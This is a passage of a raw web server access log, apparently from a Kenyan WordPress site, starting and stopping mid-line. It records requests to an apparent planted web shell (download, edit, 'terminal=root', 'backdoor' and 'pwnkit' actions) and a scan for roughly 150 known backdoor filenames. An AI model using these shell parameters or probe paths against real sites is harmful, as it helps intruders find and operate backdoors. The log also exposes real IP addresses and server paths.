(KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.117 - - [06/Mar/2026:19:19:23 -0700] "GET /?act=download&file=class-wp-http-curl.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-http-curl.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.168 - - [06/Mar/2026:19:19:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Nsb3Q=&terminal=root HTTP/1.1" 200 4271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.234 - - [06/Mar/2026:19:19:23 -0700] "GET /?act=download&file=class-wp-rewrite.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-rewrite.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.157 - - [06/Mar/2026:19:20:19 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L3BhdHRlcm5z HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.172.3 - - [06/Mar/2026:19:20:20 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L3BhdHRlcm5z&status=success HTTP/1.1" 200 5314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.193 - - [06/Mar/2026:19:26:22 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.89 - - [06/Mar/2026:19:26:22 -0700] "GET /?act=download&file=6a8&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 200 4198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.153 - - [06/Mar/2026:19:26:22 -0700] "GET /?act=download&file=class-wp-block-bindings-registry.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.24 - - [06/Mar/2026:19:26:22 -0700] "GET /?act=download&file=class-wp-block-parser.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.171 - - [06/Mar/2026:19:26:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z&terminal=root HTTP/1.1" 200 5772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.3 - - [06/Mar/2026:19:26:23 -0700] "GET /?act=edit&file=class-wp-block-parser.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 8703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 52.167.144.212 - - [06/Mar/2026:19:34:03 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=l10n.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:39 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:41 -0700] "GET /Zjokrx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:42 -0700] "GET /xc0252.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:43 -0700] "GET /buc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:43 -0700] "GET /ddl.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:44 -0700] "GET /by.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:48 -0700] "GET /nexmo.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:50 -0700] "GET /hidedz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:51 -0700] "GET /wp-spow.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:52 -0700] "GET /FF3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:53 -0700] "GET /sf.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:57 -0700] "GET /asw.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:58 -0700] "GET /eee.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:35:59 -0700] "GET /lp6.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:00 -0700] "GET /akses.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:01 -0700] "GET /no1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:01 -0700] "GET /teee.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:02 -0700] "GET /elabel.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:08 -0700] "GET /bafFz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:10 -0700] "GET /rere.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:16 -0700] "GET /jocundly.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:17 -0700] "GET /wo.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:18 -0700] "GET /h2h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:18 -0700] "GET /rithin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:20 -0700] "GET /kk.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:23 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:24 -0700] "GET /cs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:25 -0700] "GET /w2025.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:27 -0700] "GET /foxr.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:28 -0700] "GET /swallowable.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:30 -0700] "GET /claw.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:30 -0700] "GET /fvvff.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:31 -0700] "GET /a2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:33 -0700] "GET /sty.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:34 -0700] "GET /xxxx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:34 -0700] "GET //h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:36 -0700] "GET /g.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:36 -0700] "GET /pp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:37 -0700] "GET //sys.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:37 -0700] "GET /txets.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:38 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:39 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:41 -0700] "GET /wdf.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:41 -0700] "GET //2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:41 -0700] "GET /mga.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:42 -0700] "GET /maxro.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:44 -0700] "GET /pass2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:46 -0700] "GET /wsvvs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:51 -0700] "GET //3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:52 -0700] "GET //edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:53 -0700] "GET /ioxi-o.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:54 -0700] "GET /wp-content/admin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:56 -0700] "GET /66.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:56 -0700] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:56 -0700] "GET /gifclass.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:57 -0700] "GET /wp-includes/assets/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:57 -0700] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:57 -0700] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:58 -0700] "GET //assets/css/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:58 -0700] "GET /sc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:58 -0700] "GET /xmlrpc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:36:59 -0700] "GET /ol.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:00 -0700] "GET //f6.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:00 -0700] "GET //inputs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:01 -0700] "GET /style.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:01 -0700] "GET /bgymj.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:01 -0700] "GET //aa.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:02 -0700] "GET //1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:02 -0700] "GET //sc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:03 -0700] "GET //av.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:03 -0700] "GET /file.php? HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:04 -0700] "GET /file59.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:05 -0700] "GET /bless.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:06 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:07 -0700] "GET /wp-act.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:07 -0700] "GET /class-t.api.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:08 -0700] "GET /xqq.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:09 -0700] "GET /wp-admin/css/bolt.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:09 -0700] "GET /a.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:10 -0700] "GET /06.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:11 -0700] "GET /plss3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:11 -0700] "GET /aaa.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:12 -0700] "GET /classwithtostring.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:13 -0700] "GET /wp-content/themes/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:13 -0700] "GET /tinyfilemanager.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:14 -0700] "GET //x.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:16 -0700] "GET /ms.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:24 -0700] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:26 -0700] "GET /wp-update.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:28 -0700] "GET /sbhu.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:30 -0700] "GET /x/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:30 -0700] "GET /wp-blog.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:31 -0700] "GET /test1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:31 -0700] "GET //wp-includes/js/jquery/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:32 -0700] "GET /166.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:34 -0700] "GET //wp-content/admin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:34 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:34 -0700] "GET //adminfuns.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:35 -0700] "GET /goods.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:35 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:36 -0700] "GET /222.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:36 -0700] "GET /plugins.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:38 -0700] "GET //cgi-bin/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:38 -0700] "GET //wp-includes/js/dist/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:38 -0700] "GET /ff1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:39 -0700] "GET /fff.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:40 -0700] "GET /wp-content/ HTTP/1.1" 200 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:40 -0700] "GET /goat.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:40 -0700] "GET /155.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:40 -0700] "GET /we.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:41 -0700] "GET /alpha.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:41 -0700] "GET /makeasmtp.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:41 -0700] "GET /wp-michan.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:41 -0700] "GET //wp-content/cong.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:43 -0700] "GET /wp-the.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:44 -0700] "GET //wp-includes/css/dist/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:44 -0700] "GET /BDKR28WP.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:45 -0700] "GET //wp-includes/l10n/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:45 -0700] "GET /wp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:45 -0700] "GET //assets/css/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:45 -0700] "GET /w4.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:46 -0700] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:47 -0700] "GET /ok.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:47 -0700] "GET //about.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:48 -0700] "GET /wp-admin/js/fi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:48 -0700] "GET /fe5.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:50 -0700] "GET /kj.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:51 -0700] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:53 -0700] "GET /av.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:54 -0700] "GET /abcd.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:55 -0700] "GET /init.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:55 -0700] "GET /fi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:57 -0700] "GET //a1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:58 -0700] "GET /update/f35.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:37:59 -0700] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:00 -0700] "GET /f35.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:03 -0700] "GET /hi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:04 -0700] "GET /lb.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:05 -0700] "GET //wp-includes/css/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:07 -0700] "GET /wp-includes/SimplePie/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:07 -0700] "GET /prv8.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:09 -0700] "GET /k.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:13 -0700] "GET /dev.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:14 -0700] "GET /bal.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:15 -0700] "GET /in.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:18 -0700] "GET /gssdd.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:19 -0700] "GET /motu.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:19 -0700] "GET /bs1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:20 -0700] "GET /bengi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:21 -0700] "GET /miansha.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:21 -0700] "GET //erty.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:22 -0700] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:23 -0700] "GET /X57.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:23 -0700] "GET /axx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:25 -0700] "GET /alfashell.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:26 -0700] "GET /re.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:27 -0700] "GET /styll.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:28 -0700] "GET /flower.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:29 -0700] "GET /4h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.151.11.236 - - [06/Mar/2026:19:38:30 -0700] "GET /gettest.php 